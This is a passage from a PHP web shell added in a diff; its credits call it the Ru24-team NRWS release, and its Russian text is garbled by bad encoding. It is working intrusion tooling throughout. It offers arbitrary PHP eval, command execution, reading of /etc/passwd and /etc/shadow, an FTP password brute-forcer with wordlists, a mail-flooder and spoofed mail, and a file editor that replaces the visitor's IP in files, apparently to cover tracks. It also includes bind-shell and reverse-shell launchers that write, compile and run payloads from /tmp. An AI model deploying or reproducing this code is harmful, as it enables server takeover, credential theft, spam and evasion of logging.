�����";} + else {echo "������! ".htmlspecialchars($sig).", � ������� #".htmlspecialchars($pid).".";} + } + $ret = `ps -aux`; + if (!$ret) {echo "���������� ���������� ������ �������� ! ����� ���� ����� �������� ps ";} + else + { + $ret = htmlspecialchars($ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} + if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} + $k = $ps_aux_sort[0]; + if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."a\"></a>";} + else {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."d\"></a>";} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + $line[] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $head[] = "<b>ACTION</b>"; + $v = $ps_aux_sort[0]; + usort($prcs,"tabsort"); + if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=white borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $k) + { + echo "<tr>"; + foreach($k as $v) {echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +break; + +//PHP Eval Code execution +case "eval": + +echo <<<HTML +<b>���������� ��� ���� (��� "< ? ? >")</b> +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="eval"> +<tr> +<td><textarea name="ephp" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="Enter"></td> +$tend +HTML; + +if (isset($_POST['ephp'])){ +eval($_POST['ephp']); +} +break; + +// SEND MAIL +case "sendmail": +echo <<<HTML +<table> +<form method="POST" action="$self"> +<input type="hidden" name="ac" value="sendmail"> +<tr>�� ����: <br> +<input type="TEXT" name="frommail"> +<br>����:<br> <input type="TEXT" name="tomailz"> +<br>����: <br><input type="TEXT" name="mailtema"> +<br>�����: <br> +<td><textarea name="mailtext" rows="10" cols="60"></textarea></td> +</tr> +<tr> +<td><input type="submit" value="���������" name="submit"></td><form> +$tend +HTML; +// ������� �������� �� ��������, � ����� ? =) +if (isset($submit)) +{ + +mail($tomailz,$mailtema,$mailtext,"From: $frommail"); +echo "<h2>��������� ���������� !</h2>"; +} +break; + + +// ���������� � ������� +case "info": +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">��������</font>"; +} +else {$safemode = false; $hsafemode = "���������</font>";} +/* display information */ +echo "<b>[ ���������� � ������� ]</b><br>"; +echo "<b>����:</b> ".$_SERVER["HTTP_HOST"]."<br>" ; +echo "<b>IP �������:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>"; +echo " <b>������: </b>".$_SERVER['SERVER_SIGNATURE']." "; +echo "<b>OC:</b> ".exec("uname -a")."("; +print "".php_uname()." )<br>\n"; +echo "<b>Safe-Mode: ".$hsafemode."</b><br>"; +echo "<b>����������: </b>".exec("id")."<br>"; +echo "<b>����� �����: </b>" . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb. " . "<b>��������: </b>: " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb. <br>"; +echo "<b>������� �������:</b>".exec("pwd").""; +echo " <br><b>������� web ����: </b>".@$_SERVER['PHP_SELF']." "; +echo "<br><b>���� IP:</b> ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")<br>"; +echo "<b>PHP version : </b>".phpversion()."<BR>"; +echo "<b> ID ��������� ������� : </b>".get_current_user()."<BR>"; +echo "<b>MySQL</b> : ".mysql_get_server_info()."<BR>"; +if(file_exists('/etc/passwd') && is_readable('/etc/passwd')){ +print '<b>���� ������ � /etc/passwd ! </b><br>'; +} +if(file_exists('/etc/shadow') && is_readable('/etc/shadow')){ +print '<b>���� ������ � /etc/shadow !</b> <br>'; +} +if(file_exists('/etc/shadow-') && is_readable('/etc/shadow-')){ +print '<b>���� ������ � /etc/shadow- !</b> '; +} +if(file_exists('/etc/master.passwd') && is_readable('/etc/master.passwd')){ +print '<b>���� ������ � /etc/master.passwd ! </b><br>'; +} +if(isset($_POST['th']) && $_POST['th']!=''){ +chdir($_POST['th']); +}; +if(is_writable('/tmp/')){ +$fp=fopen('/tmp/qq8',"w+"); +fclose($fp); +print "/tmp - �������&nbsp;<br>\n"; +unlink('/tmp/qq8'); +} +else{ +print "<font color=red>/tmp - �� �������</font><br>"; +} +echo "<b>���������� �����: ".$hsafemode."</b><br>"; +if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + $num = $nixpasswd + $nixpwdperpage; + echo "<b>*nix /etc/passwd:</b><br>"; + $i = $nixpasswd; + while ($i < $num) + { + $uid = posix_getpwuid($i); + if ($uid) {echo join(":",$uid)."<br>";} + $i++; + } + } + else {echo "<br><a href=?ac=navigation&d=/etc/&e=passwd><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/usr/local/apache/conf&e=httpd.conf><u><b>������������ Apache (httpd.conf)</b></u></a></b><br>";} + { echo "<b><a href=?ac=navigation&d=/etc/httpd/conf&e=httpd.conf><u><b>������������ Apache (httpd.conf)</b></u></a></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/etc/&e=httpd.conf><u><b>������������ Apache (httpd.conf)</b></u></a></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/var/cpanel&e=accounting.log><u><b>cpanel log </b></u></a></b><br>";} + break; + +// � ������� +case "about": + +echo "<center><b>������ ����</b></center>����� ���� ������ ������ ����� ������� ���������� �����������������.<b>(0.5a)</b> <br>������ ��������� � ������ ������������, ���, ��� ���� ������� �����-�� ����, ����������� ����:<br><a href='http://ru24-team.net/forum/'>http://ru24-team.net/forum/</a> ��� <a href=mailto:dreamerz@mail.ru>�� ���� dreamerz@mail.ru</a>, ��� �� <a href=http://dreamerz.cc>dreamerz.cc</a>, ��� �� ICQ: <b>817312</b><br>��� ����� ������������� � ���������� ������� - ������, ��������� ��� �� ������ �������� � ���������...<br>��, � ������� ���� �����: Terabyte, 1dt_wolf, xoce, FUF, dodbob, Nitrex ... � ������ ������ ..."; +echo "<br> � ��������� ���� ������ �� ����� �������� �� ��������� ����� :) ��� ��� ����������. "; + +echo "<br><br><br>����� ������ ����� �����: <a href=http://ru24-team.net/releases/nr.rar>http://ru24-team.net/releases/nr.rar</a> +<br><br><center><b>------------------------------->>> Ru24 - TEAM NRWS RELEASE 0.5.a [DreAmeRz] <<<-----------------------------------</b></center>"; +break; +// ��� ������ ������� +case "ftppass": + +$filename="/etc/passwd"; // passwd file +$ftp_server="localhost"; // FTP-server + +echo "FTP-server: <b>$ftp_server</b> <br><br>"; + +$fp = fopen ($filename, "r"); +if ($fp) +{ +while (!feof ($fp)) { +$buf = fgets($fp, 100); +ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); +$ftp_user_name=$g[1]; +$ftp_user_pass=$g[1]; +$conn_id=ftp_connect($ftp_server); +$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); + +if (($conn_id) && ($login_result)) { +echo "<b>����������� login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>"; +ftp_close($conn_id);} +else { +echo $ftp_user_name." - error<br>"; +} +}} +break; + +case "ftp": + +echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> + <form action='$PHP_SELF?ac=ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle> + <b><a href=?ac=ftppass>��������� �� ������ login\password</a></b> +</td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='host' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='login' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;����������� �������:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='chislo' size=10> <1000 pass </td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;������ ��� ��������:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='proverka' size=50> +<input type='submit' value='Brut FTP' class=button1 $style_button><br><b>��� ����������� � pass.txt</b></td></tr> + + + + </form></table>"; + + +function s() { + $word="qwrtypsdfghjklzxcvbnm"; + return $word[mt_rand(0,strlen($word)-1)]; +} + +function g() { + $word="euioam"; + return $word[mt_rand(0,strlen($word)-2)]; +} + +function name0() { return s().g().s(); } +function name1() { return s().g().s().g(); } +function name2() { return s().g().g().s(); } +function name3() { return s().s().g().s().g(); } +function name4() { return g().s().g().s().g(); } +function name5() { return g().g().s().g().s(); } +function name6() { return g().s().s().g().s(); } +function name7() { return s().g().g().s().g(); } +function name8() { return s().g().s().g().g(); } +function name9() { return s().g().s().g().s().g(); } +function name10() { return s().g().s().s().g().s().s(); } +function name11() { return s().g().s().s().g().s().s().g(); } + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); +$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker'); + +function randword() { + global $cool; + $func="name".mt_rand(0,11); + $func2="name".mt_rand(0,11); + switch (mt_rand(0,11)) { + case 0: return $func().mt_rand(5,99); + case 1: return $func()."-".$func2(); + case 2: return $func().$cool[mt_rand(0,count($cool)-1)]; + case 3: return $func()."!".$func(); + case 4: return randpass(mt_rand(5,12)); + default: return $func(); + } + + +} + +function randpass($len) { + $word="qwertyuiopasdfghjklzxcvbnm1234567890"; + $s=""; + for ($i=0; $i<$len; $i++) { + $s.=$word[mt_rand(0,strlen($word)-1)]; + } + return $s; +} +if (@unlink("pass.txt") < 0){ +echo "���� ������"; +exit; +} +$file="pass.txt"; +if($file && $host && $login){ + $cn=mt_rand(30,30); +for ($i=0; $i<$cn; $i++) { + $s=$cool2[$i]; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$s\n"); + } + + $cnt2=mt_rand(43,43); +for ($i=0; $i<$cnt2; $i++) { + $r=$cool[$i]; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$login$r\n"); +} +$p="$proverka"; + $f=@fopen(pass.".txt","a+"); + fputs($f,"$p\n"); + + $cnt3=mt_rand($chislo,$chislo); + for ($i=0; $i<$cnt3; $i++) { + $u=randword(); + $f=@fopen(pass.".txt","a+"); + fputs($f,"$u\n"); + } + + if(is_file($file)){ + $passwd=file($file,1000); + for($i=0; $i<count($passwd); $i++){ + $stop=false; + $password=trim($passwd[$i]); + $open_ftp=@fsockopen($host,21); + if($open_ftp!=false){ + fputs($open_ftp,"user $login\n"); + fputs($open_ftp,"pass $password\n"); + while(!feof($open_ftp) && $stop!=true){ + $text=fgets($open_ftp,4096); + if(preg_match("/230/",$text)){ + $stop=true; + $f=@fopen($host._ftp,"a+"); + fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n "); + + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> +<tr><td align=center class=pagetitle><b><font color=\"blue\">����������!!! ������ ��������.</font></b><br> +&nbsp;&nbsp;������: <b>$host</b><br>&nbsp;&nbsp;�����: <b>$login</b><br>&nbsp;&nbsp;������: <b>$password</b></td></tr></table> +";exit; + } + elseif(preg_match("/530/",$text)){ + $stop=true; + + } + } + fclose($open_ftp); + }else{ + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center> +<tr><td align=center class=pagetitle bgcolor=#FF0000><b>�� ����� ������� ��� ��������!!! �� <b><u>$host</u></b> ������ 21 ����</b></b></td></tr> +</table> +";exit; + } + } + } +} + + +break; +// SQL Attack +case "sql": + +break; + + + + + + +// MailFlud +case "mailfluder": + +$email=$_POST['email']; // ���� ������ +$from=$_POST['from']; // ���� ������ +$num=$_POST['num']; // ����� ����� +$text=$_POST['text']; // ����� ����� +$kb=$_POST['kb']; // ��� ������ (kb) +?> +<script language="JavaScript"><!-- +function reset_form() { +document.forms[0].elements[0].value=""; +document.forms[0].elements[1].value=""; +document.forms[0].elements[2].value=""; +document.forms[0].elements[3].value=""; +document.forms[0].elements[4].value=""; +} +//--></script> +<?php +if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) { + +$num_text=strlen($text)+1; // ���������� ������ ������ + 1 (������ � �����) +$num_kb=(1024/$num_text)*$kb; +$num_kb=ceil($num_kb); + +for ($i=1; $i<=$num_kb; $i++) { +$msg=$msg.$text." "; +} + +for ($i=1; $i<=$num; $i++) { +mail($email, $text, $msg, "From: $from"); +} + +$all_kb=$num*$kb; + +echo <<<EOF +<p align="center">������: <b>$email</b><br> +���-�� �����: <b>$num</b><br> +����� ��������� �����: <b>$all_kb kb</b><br></p> +EOF; + +} + +else { + +echo <<<EOF +<form action="?ac=mailfluder" method="post"> +<table align="center" border="0" bordercolor="#000000"> +<tr><td>���� ������</td><td><input type="text" name="email" value="to@mail.com" size="25"></td></tr> +<tr><td>�� ����</td><td><input type="text" name="from" value="sypport@mail.com" size="25"></td></tr> +<tr><td>����� �����</td><td><input type="text" name="num" value="5" size="25"></td></tr> +<tr><td>����� �����</td><td><input type="text" name="text" value="fack fack fack" size="25"></td></tr> +<tr><td>��� ������ (kb)</td><td><input type="text" name="kb" value="10" size="25"></td></tr> +<tr><td colspan="2" align="center"><input type="submit">&nbsp;&nbsp;<input type="button" onclick="reset_form()" value="Reset"></td></tr> +</table> +</form> +EOF; + +} +break; + +case "tar": +# ��������� ���������� +$fullpath = $d."/".$tar; +/* ������ ��������� �������� ������ ���������*/ +$CHARS = "abcdefghijklmnopqrstuvwxyz"; +for ($i=0; $i<6; $i++) $charsname .= $CHARS[rand(0,strlen($CHARS)-1)]; + echo "<br> +������� <u><b>$fullpath</b></u> ".exec("tar -zc $fullpath -f $charsname.tar.gz")."�������� � ���� <u>$charsname.tar.gz</u>"; + + + +echo " + +<form action='?ac=tar' method='post'> +<tr><td align=center colspan=2 class=pagetitle><b>��������� <u>$name.tar.gz</u>:</b></td></tr> +<tr> +<td valign=top><input type=text name=archive size=90 class='inputbox'value='tar -zc /home/$name$http_public -f $name.tar.gz' ></td> +<td valign=top><input type=submit value='����'></td> +</tr></form>"; + +exec($archive); + +break; + + +// ��������� +case "navigation": + // ����� ��������� +$mymenu = " [<a href='$php_self?ac=navigation&d=$d&e=$e&delete=1'>�������</a>] [<a href='$php_self?ac=navigation&d=$d&ef=$e&edit=1'>�������������</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&clean=1'>��������</a>] [<a href='$php_self?ac=navigation&d=$d&e=$e&replace=1'>�������� �����</a>] [<a href='$php_self?ac=navigation&d=$d&download=$e'>���������</a>] [<a href='$php_self?ac=navigation&d=$d&infofile=$e'>����������</a>]<br>"; + +$images=array(".gif",".jpg",".png",".bmp",".jpeg"); +$whereme=getcwd(); +@$d=@$_GET['d']; +$copyr = "<center>"; +$php_self=@$_SERVER['PHP_SELF']; +if(@eregi("/",$whereme)){$os="unix";} +if(!isset($d)){$d=$whereme;} +$d=str_replace("\\","/",$d); + + + +$expl=explode("/",$d); +$coun=count($expl); +if($os=="unix"){echo "<a href='$php_self?ac=navigation&d=/'>/</a>";} +else{ + echo "<a href='$php_self?ac=navigation&d=$expl[0]'>$expl[0]/</a>";} +for($i=1; $i<$coun; $i++){ + @$xx.=$expl[$i]."/"; +$sls="<a href='$php_self?ac=navigation&d=$expl[0]/$xx'>$expl[$i]</a>/"; +$sls=str_replace("//","/",$sls); +$sls=str_replace("/'></a>/","/'></a>",$sls); +print $sls; +} +echo "</td></tr>"; +echo "<br><td><b>id:</b> ".@exec('id')."</td></tr"; + + +if(@$_GET['deldir']=="1"){ + +@$dir=$_GET['d']; +function deldir($d) +{ +$handle = @opendir($d); +while (false!==($ff = @readdir($handle))){ +if($ff != "." && $ff != ".."){ +if(@is_dir("$d/$ff")){ +deldir("$d/$ff"); +}else{ +@unlink("$d/$ff"); +}}} +@closedir($handle); +if(@rmdir($d)){ +@$success = true;} +return @$success; +} +$dir=@$d; +deldir($d); + +$rback=$_GET['rback']; +@$rback=explode("/",$rback); +$crb=count($rback); +for($i=0; $i<$crb-1; $i++){ + @$x.=$rback[$i]."/"; +} +echo "<br><b>������� ������ !</b>"; +echo $copyr; +exit;} +if(@$_GET['replace']=="1"){ +$ip=@$_SERVER['REMOTE_ADDR']; +$d=$_GET['d']; +$e=$_GET['e']; +@$de=$d."/".$e; +$de=str_replace("//","/",$de); +$e=@$e; +echo $mymenu ; +echo " +�������� ������:<br> +(�� ����� �������� ����� �����)<br> +����: $de<br> +<form method=post> +1. ���� IP.<br> +2. microsoft.com IP :)<br> +�������� ��� <input name=this size=30 value=$ip> ���� <input name=bythis size=30 value=207.46.245.156> +<input type=submit name=doit value=��������> +</form> +"; + +if(@$_POST['doit']){ + +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$rpl = @fread ($fd, @filesize ($filename)); +$re=str_replace("$this","$bythis",$rpl); +$x=@fopen("$d/$e","w"); +@fwrite($x,"$re"); +echo "<br><center>$this �������� �� $bythis<br> +[<a href='$php_self?ac=navigation&d=$d&e=$e'>���������� ����</a>]<br><br><Br>"; + +} +echo $copyr; +exit;} + + + + +if(@$_GET['yes']=="yes"){ +$d=@$_GET['d']; $e=@$_GET['e']; +unlink($d."/".$e); +$delresult="������ $d/$e �� ����� ! <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?ac=navigation&d=$d\">"; +} +if(@$_GET['clean']=="1"){ +@$e=$_GET['e']; +$x=fopen("$d/$e","w"); +fwrite($x,""); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=".@$e."\">"; +exit; +} + + +if(@$_GET['e']){ +$d=@$_GET['d']; +$e=@$_GET['e']; +$pinf=pathinfo($e); +if(in_array(".".@$pinf['extension'],$images)){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e&img=1\">"; +exit;} +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$e; +$de=str_replace("//","/",$de); +if(is_file($de)){ +if(!is_writable($de)){echo "<font color=red><br><b>������ ������</b></font><br>";}} +echo $mymenu ; +echo " +���������� �����:<br> +$de +<br> +<table width=100% border=1 cellpadding=0 cellspacing=0> +<tr><td><pre> +$c + +</pre></td></tr> +</table>"; +if(@$_GET['delete']=="1"){ +$delete=$_GET['delete']; +echo " +��������: �� ������ ?<br> +<a href=\"$php_self?ac=navigation&d=$d&e=$e&delete=".@$delete."&yes=yes\">��</a> || <a href='$php_self?no=1'>���</a> +<br> +"; +if(@$_GET['yes']=="yes"){ +@$d=$_GET['d']; @$e=$_GET['e']; +echo $delresult; +} +if(@$_GET['no']){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$e\"> +"; +} + + +} #end of delete +echo $copyr; +exit; +} #end of e + +if(@$_GET['edit']=="1"){ +@$d=$_GET['d']; +@$ef=$_GET['ef']; +if(is_file($d."/".$ef)){ +if(!is_writable($d."/".$ef)){echo "<font color=red><br><b>������ ������</b></font><br>";}} +echo $mymenu ; +$filename="$d/$ef"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$ef; +$de=str_replace("//","/",$de); +echo " +��������������:<br> +$de<br> +<form method=post> +<input type=HIDDEN name=filename value='$d/$ef'> +<textarea cols=143 rows=30 name=editf>$c</textarea> +<br> +<input type=submit name=save value='��������� �������'></form><br> + +"; +if(@$_POST['save']){ +$editf=@$_POST['editf']; +$editf=stripslashes($editf); +$f=fopen($filename,"w+"); +fwrite($f,"$editf"); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?ac=navigation&d=$d&e=$ef\">"; +exit; +} + +exit; +} + + + +echo" +<table width=100% cellpadding=1 cellspacing=0 class=hack> +<a href='?ac=tar&d=$d' title='��������� ���������� ������ ��� ������� ���� ������ � ������� !'><b>[��������� ��������] </b></a> +<a href='?ac=tar&as=mail&d=$d' title='���������� ��������� �������� + �������� ������ �� ��� e-mail ! �-��� �� �������� � 0.5� ������!'><b>[��������� �������� + �������� �� �-mail] </b></a> +<a href='?ac=navigation&d=$d&deldir=1' title='������ �������� �������� !\n ���������� ������������� ���� ����� �� ����� :)'><b>[�������� ��������] </b></a> +<tr><td bgcolor=#4d9ef0><center><b>��������</b></td><td bgcolor=#4d9ef0><b>������</b></td><td bgcolor=#4d9ef0><b>������</b></td></tr> +"; +$dirs=array(); +$files=array(); +$dh = @opendir($d) or die("<table width=100%><tr><td><center>������� �� ���������� ��� ������ � ���� �������� !</center><br>$copyr</td></tr></table>"); +while (!(($file = readdir($dh)) === false)) { +if ($file=="." || $file=="..") continue; +if (@is_dir("$d/$file")) { + $dirs[]=$file; +}else{ + $files[]=$file; + } + sort($dirs); + sort($files); + +$fz=@filesize("$d/$file"); +} + +function perm($perms){ +if (($perms & 0xC000) == 0xC000) { + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + $info = 'p'; +} else { + $info = 'u'; +} +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); +return $info; +} +for ($i=0;$i<sizeof($dirs);$i++) { + if ($dirs[$i] != "..") { + + +if(is_writable($dirs[$i])){$info="<font color=green><li>&nbsp;W</font>";} +else{$info="<font color=red><li>&nbsp;R</font>";} +$perms = @fileperms($d."/".$dirs[$i]); +$owner = @fileowner($d."/".$dirs[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$dirs[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#aed7ff";}else{$color="#68adf2";} +$linkd="<a href='$php_self?ac=navigation&d=$d/$dirs[$i]'>$dirs[$i]</a>"; +$linkd=str_replace("//","/",$linkd); +echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color>$info</td></tr>"; +} +} +for ($i=0;$i<sizeof($files);$i++) { +if(is_writable($files[$i])){$info="<font color=green><li>&nbsp;W</font>";} +else{$info="<font color=red><li>&nbsp;R</font>";} +$size=@filesize($d."/".$files[$i]); +$perms = @fileperms($d."/".$files[$i]); +$owner = @fileowner($d."/".$files[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$files[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$prava=perm($perms); +if($i%2){$color="#ccccff";}else{$color="#b0b0ff";} + +if ($size < 1024){$siz=$size.' b'; +}else{ +if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{ +if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{ +if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';} +}}} +echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?ac=navigation&d=$d&e=$files[$i]'title='������ $prava. �������� $owner/$group'>$files[$i]</a></td><td bgcolor=$color>$siz</td><td bgcolor=$color>$prava</td></tr>"; +} + +echo "</table></td></tr></table>"; +break; +// ��������� ������� +case "backconnect": +echo "<b>��������� ������� / �������� �����</b>"; +echo "<form name=bind method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>������� ���� </b>"; +echo "<input type=text name=port size=15 value=11457>&nbsp;"; +echo "<b>������ ��� ������� </b>"; +echo "<input type=text name=bind_pass size=15 value=nrws>&nbsp;"; +echo "<b>������������ </b>"; +echo "<select size=\"1\" name=\"use\">"; +echo "<option value=\"Perl\">Perl</option>"; +echo "<option value=\"C\">C</option>"; +echo "</select>&nbsp;"; +echo "<input type=hidden name=dir value=".$dir.">"; +echo "<input type=submit name=submit value=�������>"; +echo "</font>"; +echo "</form>"; + +echo "<b>��������� ������� / ����������</b>"; +echo "<form name=back method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>IP-����� </b>"; +echo "<input type=text name=ip size=15 value=127.0.0.1>&nbsp;"; +echo "<b>���� </b>"; +echo "<input type=text name=port size=15 value=31337>&nbsp;"; +echo "<b>������������ </b>"; +echo "<select size=\"1\" name=\"use\">"; +echo "<option value=\"Perl\">Perl</option>"; +echo "<option value=\"C\">C</option>"; +echo "</select>&nbsp;"; +echo "<input type=hidden name=dir value=".$dir.">"; +echo "<input type=submit name=submit value=���������>"; +echo "</font>"; +echo "</form>"; + + +/* port bind C */ +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + $w_file=fopen("/tmp/bd.c","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>Error! Can't write in /tmp/bd.c</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($port_bind_bd_c)); + fclose($w_file); + $blah=exec("gcc -o /tmp/bd /tmp/bd.c"); + unlink("/tmp/bd.c"); + $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"; + $blah=exec($bind_string); + $_POST['cmd']="ps -aux | grep bd"; + $err=0; + } +} + +/* port bind Perl */ +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + $w_file=fopen("/tmp/bdpl","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>������! �� ���� �������� � /tmp/</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($port_bind_bd_pl)); + fclose($w_file); + $bind_string="perl /tmp/bdpl ".$_POST['port']." &"; + $blah=exec($bind_string); + $_POST['cmd']="ps -aux | grep bdpl"; + $err=0; + } +} + +/* back connect Perl */ +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + $w_file=fopen("/tmp/back","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div align=center>������! �� ���� �������� � /tmp/</div></font>"; + $err=0; + } + else + { + fputs($w_file,base64_decode($back_connect)); + fclose($w_file); + $bc_string="perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &"; + $blah=exec($bc_string); + $_POST['cmd']="echo \"������ ������ ����������� � ".$_POST['ip']." port ".$_POST['port']." ...\""; + $err=0; + } +} + +/* back connect C */ +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + $w_file=fopen("/tmp/back.c","ab+") or $err=1; + if($err==1) + { + echo "<font color=red face=Fixedsys><div 